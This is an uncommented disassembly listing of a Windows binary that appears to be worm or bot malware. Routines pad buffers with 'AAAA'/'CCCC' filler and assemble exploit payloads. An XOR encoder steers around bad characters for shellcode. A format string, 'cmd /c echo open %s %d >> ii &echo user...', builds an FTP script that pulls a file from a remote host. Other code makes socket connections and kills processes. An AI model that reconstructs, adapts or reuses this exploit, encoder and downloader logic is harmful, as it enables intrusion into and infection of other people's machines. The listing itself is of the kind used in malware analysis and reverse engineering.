lea ecx, [esp+86Ch+var_810]
call sub_401EAB
lea ecx, [esp+864h+var_808]
call sub_4016B8
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402036
push 4
push offset dword_44484C
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B68
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
lea ecx, [esp+864h+var_820]
call sub_4017CB
lea ecx, [esp+864h+var_848]
call sub_4016B8
lea ecx, [esp+864h+var_810]
call sub_4016B8
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
lea ecx, [esp+864h+var_828]
call sub_4017CB
lea ecx, [esp+864h+var_840]
call sub_4016B8
lea ecx, [esp+864h+var_830]
call sub_4016B8
lea ecx, [esp+864h+var_820]
call sub_4016B8
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B68
push 2
push offset dword_444BBC
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_4014FB
lea ecx, [esp+864h+var_838]
call sub_4017CB
lea ecx, [esp+864h+var_828]
call sub_4016B8
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016B8
push offset dword_444BB8
lea ecx, [esp+868h+var_858]
call sub_402036
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_443E90
lea ecx, [esp+868h+var_850]
call sub_402036
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016B8
push offset dword_444BAC
lea ecx, [esp+868h+var_858]
call sub_402036
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_444BA8
lea ecx, [esp+868h+var_818]
call sub_402036
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4016B8
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424C15: ; CODE XREF: sub_424840+1Ej
; sub_424840+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424D40 proc near ; CODE XREF: sub_401AB4j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
nop
call near ptr 71AB2DC0h
cmp eax, 1
jz short loc_424DA9
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DA9: ; CODE XREF: sub_424D40+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_436F60
test eax, eax
jnz short loc_424DC0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DC0: ; CODE XREF: sub_424D40+76j
mov edx, [esp+214h+arg_C]
mov eax, [esp+214h+arg_8]
mov ecx, [esp+214h+arg_4]
push edx
push eax
push ecx
push esi
nop
call near ptr 71AB615Ah
pop esi
add esp, 210h
retn
sub_424D40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
nop
call near ptr 71AB2BC0h
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_50FC8C
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx ; dword_50FC8C
cmp eax, 4
jz short loc_424E53
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424E53: ; CODE XREF: sub_424E20+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx ; dword_50FC8C
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424E20 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E90 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424EC3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E90+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_4448DC
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_444854
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_44490C
mov [ebx+31h], eax
mov ecx, dword_444910
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_50E140
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_50E144
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_424F68
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424F68: ; CODE XREF: sub_424E90+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AB4
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_424FA3
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424E90+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AB4
push ebx
call near ptr 77C2C21Bh
nop
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424E90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425020 proc near ; CODE XREF: sub_401811j
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = word ptr -410h
var_40E = word ptr -40Eh
var_40A = dword ptr -40Ah
var_406 = dword ptr -406h
var_402 = word ptr -402h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 41Ch
mov ecx, 0FFh
xor eax, eax
push ebp
push esi
push edi
lea edi, [esp+428h+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_444A80
lea edi, [esp+428h+var_400]
rep movsd
movsw
mov ecx, offset byte_447551
movsb
call sub_4017E4
push eax
mov ecx, offset byte_447551
call sub_4017E4
mov ecx, [esp+42Ch+arg_0]
push eax
mov eax, dword_44768F
push eax
push ecx
call sub_401DF7
add esp, 4
lea edx, [esp+434h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
call near ptr 77C3FA76h
nop
add eax, 90h
lea ecx, [esp+444h+var_418]
push eax
lea eax, [esp+448h+var_400]
push eax
push 164h
push offset sub_444918
push ecx
call sub_401BEA
mov eax, [esp+458h+var_414]
xor edi, edi
add esp, 30h
cmp eax, edi
jnz short loc_4250C9
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 41Ch
retn
; ---------------------------------------------------------------------------
loc_4250C9: ; CODE XREF: sub_425020+9Bj
mov ebp, dword_50FC2C
mov [esp+428h+var_41C], edi
loc_4250D3: ; CODE XREF: sub_425020+158j
test edi, edi
jnz loc_42517E
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_425161
mov eax, [esp+428h+arg_9E]
xor edx, edx
mov dword ptr [esp+428h+var_40E], edx
push eax
mov [esp+42Ch+var_40A], edx
mov [esp+42Ch+var_410], 2
mov [esp+42Ch+var_406], edx
mov [esp+42Ch+var_402], dx
call ebp ; dword_50FC2C
lea ecx, [esp+428h+arg_4]
mov [esp+428h+var_40E], ax
push ecx
nop
call near ptr 71AB2BF4h
lea edx, [esp+428h+var_410]
push 10h
push edx
push esi
mov [esp+28h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_425156
mov eax, [esp+428h+var_414]
mov ecx, [esp+428h+var_418]
push eax
push ecx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_425156: ; CODE XREF: sub_425020+11Aj
push esi
nop
call near ptr 71AB9639h
test edi, edi
jnz short loc_42516C
loc_425161: ; CODE XREF: sub_425020+CCj
push 3E8h
nop
call near ptr 2840000h
loc_42516C: ; CODE XREF: sub_425020+13Fj
mov eax, [esp+428h+var_41C]
inc eax
cmp eax, 2
mov [esp+428h+var_41C], eax
jl loc_4250D3
loc_42517E: ; CODE XREF: sub_425020+B5j
lea ecx, [esp+428h+var_418]
call sub_4016B8
test edi, edi
jz short loc_4251AE
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E4h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_4251AE: ; CODE XREF: sub_425020+169j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 41Ch
retn
sub_425020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425230 proc near ; CODE XREF: sub_4013C5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_425230 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425270 proc near ; CODE XREF: sub_40178Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013C5
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_425295
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_425270+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_444CA8
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_444D0C, ecx
lea ecx, [eax+1]
mov dword_444D2D, ecx
lea ecx, [eax+17h]
mov dword_444D25, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_444D3B, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_444D1C
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_444D20
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_444D21
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_444D25
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_444D29
mov [ecx+8], esi
mov esi, dword_444D2D
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_444D31
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_425270 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253E0 proc near ; CODE XREF: sub_402162j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013C5
push eax
call sub_4017BC
add esp, 0Ch
retn
sub_4253E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425410: ; CODE XREF: ___:00401735j
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402162
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_425433
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: ___:0042542Bj
cmp eax, 0FFFFh
jbe short loc_425440
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425440: ; CODE XREF: ___:00425438j
push esi
push edi
push ebx
call sub_4013C5
add eax, 101h
push eax
call near ptr 77C2C407h
nop
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013C5
add esp, 8
push eax
push esi
call sub_40178A
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B77
push esi
mov edi, eax
call near ptr 77C2C21Bh
nop
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254B0 proc near ; CODE XREF: sub_4017BCj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4254B9
inc ecx
loc_4254B9: ; CODE XREF: sub_4254B0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4254B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254E0 proc near ; CODE XREF: sub_401B77j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4254F8
cmp bl, 0Dh
jz short loc_4254F8
cmp bl, 5Ch
jz short loc_4254F8
test bl, bl
jnz short loc_4254F9
loc_4254F8: ; CODE XREF: sub_4254E0+8j
; sub_4254E0+Dj ...
inc ebx
loc_4254F9: ; CODE XREF: sub_4254E0+16j
cmp ebx, 0FFh
jbe short loc_42551C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_425516
cmp al, 0Dh
jz short loc_425516
cmp al, 5Ch
jz short loc_425516
test al, al
jnz short loc_42551C
loc_425516: ; CODE XREF: sub_4254E0+28j
; sub_4254E0+2Cj ...
add ebx, 100h
loc_42551C: ; CODE XREF: sub_4254E0+1Fj
; sub_4254E0+34j
push ebx
call sub_4017BC
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_425535
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425535: ; CODE XREF: sub_4254E0+4Fj
cmp eax, 0FFFFh
jbe short loc_425540
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425540: ; CODE XREF: sub_4254E0+5Aj
mov al, byte_50E148
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_425570
loc_425551: ; CODE XREF: sub_4254E0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_425567
cmp cl, 0Ah
jz short loc_425567
cmp cl, 0Dh
jz short loc_425567
cmp cl, 5Ch
jnz short loc_42556B
loc_425567: ; CODE XREF: sub_4254E0+76j
; sub_4254E0+7Bj ...
inc al
xor edx, edx
loc_42556B: ; CODE XREF: sub_4254E0+85j
inc edx
cmp edx, ebx
jb short loc_425551
loc_425570: ; CODE XREF: sub_4254E0+6Fj
cmp ebx, 0FFh
push edi
mov byte_50E148, al
ja short loc_4255A3
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C90
mov edi, edx
mov byte_444C9D, bl
mov byte_444CA1, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4255C9
; ---------------------------------------------------------------------------
loc_4255A3: ; CODE XREF: sub_4254E0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C78
mov edi, edx
mov word_444C86, bx
mov byte_444C8B, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4255C9: ; CODE XREF: sub_4254E0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4255DF
add esi, edx
loc_4255D2: ; CODE XREF: sub_4254E0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4255D2
loc_4255DF: ; CODE XREF: sub_4254E0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4254E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425640 proc near ; CODE XREF: sub_401E24j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_4491DF[eax*4], ecx
mov dword_4491CB[eax*4], ecx
mov dword_4491CF[eax*4], ecx
mov dword_4491D3[eax*4], ecx
mov dword_4491D7[eax*4], ecx
mov dword_4491DB[eax*4], ecx
mov byte_448FCB[eax*4], cl
mov byte_4491E3[eax*4], cl
retn
sub_425640 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4256B0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_425767
cmp ecx, 400h
jge loc_425767
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_4491DF[esi*4]
push eax
nop
call near ptr 277072Fh
cmp dword_4491DF[esi*4], ebx
jz short loc_4256F8
mov ebp, 1
loc_4256F8: ; CODE XREF: sub_4256B0+41j
mov dword_4491DF[esi*4], ebx
mov dword_4491CB[esi*4], ebx
mov dword_4491CF[esi*4], ebx
mov eax, dword_4491D3[esi*4]
cmp eax, ebx
jbe short loc_425721
push eax
call sub_401C6C
add esp, 4
loc_425721: ; CODE XREF: sub_4256B0+66j
mov edi, dword_50FC88
mov dword_4491D3[esi*4], ebx
mov byte_448FCB[esi*4], bl
mov byte_4491E3[esi*4], bl
mov ecx, dword_4491D7[esi*4]
push ecx
call edi ; dword_50FC88
mov dword_4491D7[esi*4], ebx
mov edx, dword_4491DB[esi*4]
lea esi, ds:4491DBh[esi*4]
push edx
call edi ; dword_50FC88
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425767: ; CODE XREF: sub_4256B0+Cj
; sub_4256B0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4256B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257A0 proc near ; CODE XREF: sub_401D93j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_4491CF
loc_4257B1: ; CODE XREF: sub_4257A0+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_4257E5
test ebx, ebx
jle short loc_4257D7
cmp [esi], ebx
jz short loc_4257C8
cmp edi, ebx
jnz short loc_4257E5
loc_4257C8: ; CODE XREF: sub_4257A0+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
jmp short loc_4257E4
; ---------------------------------------------------------------------------
loc_4257D7: ; CODE XREF: sub_4257A0+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
loc_4257E4: ; CODE XREF: sub_4257A0+35j
inc ebp
loc_4257E5: ; CODE XREF: sub_4257A0+1Aj
; sub_4257A0+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D61CF
jl short loc_4257B1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4257A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425820 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
call near ptr 2790000h
nop
mov esi, eax
test esi, esi
jz short loc_425855
push 0
push esi
nop
call near ptr 2710000h
test eax, eax
jnz short loc_425855
push esi
xor edi, edi
nop
call near ptr 28409D0h
loc_425855: ; CODE XREF: sub_425820+1Dj
; sub_425820+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_425820 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425870 proc near ; CODE XREF: sub_401483j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_4491CB
loc_42587B: ; CODE XREF: sub_425870+1Cj
cmp [ecx], edx
jnz short loc_425880
inc eax
loc_425880: ; CODE XREF: sub_425870+Dj
add ecx, 234h
cmp ecx, offset byte_4D61CB
jl short loc_42587B
retn
sub_425870 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258A0 proc near ; CODE XREF: sub_401D8Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_4491CB
loc_4258AE: ; CODE XREF: sub_4258A0+1Fj
cmp [ecx], edx
jz short loc_4258C3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D61CB
jl short loc_4258AE
mov eax, esi
loc_4258C3: ; CODE XREF: sub_4258A0+10j
pop esi
retn
sub_4258A0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258E0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_448FCB
loc_4258E8: ; CODE XREF: sub_4258E0+18j
cmp byte ptr [eax], 0
jz short loc_4258FE
add eax, 234h
inc edi
cmp eax, offset dword_4D5FCB
jl short loc_4258E8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4258FE: ; CODE XREF: sub_4258E0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:448FCBh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
nop
call near ptr 77C47A90h
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_4258E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_425980 proc near ; CODE XREF: sub_401609j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_425980
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_425980 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
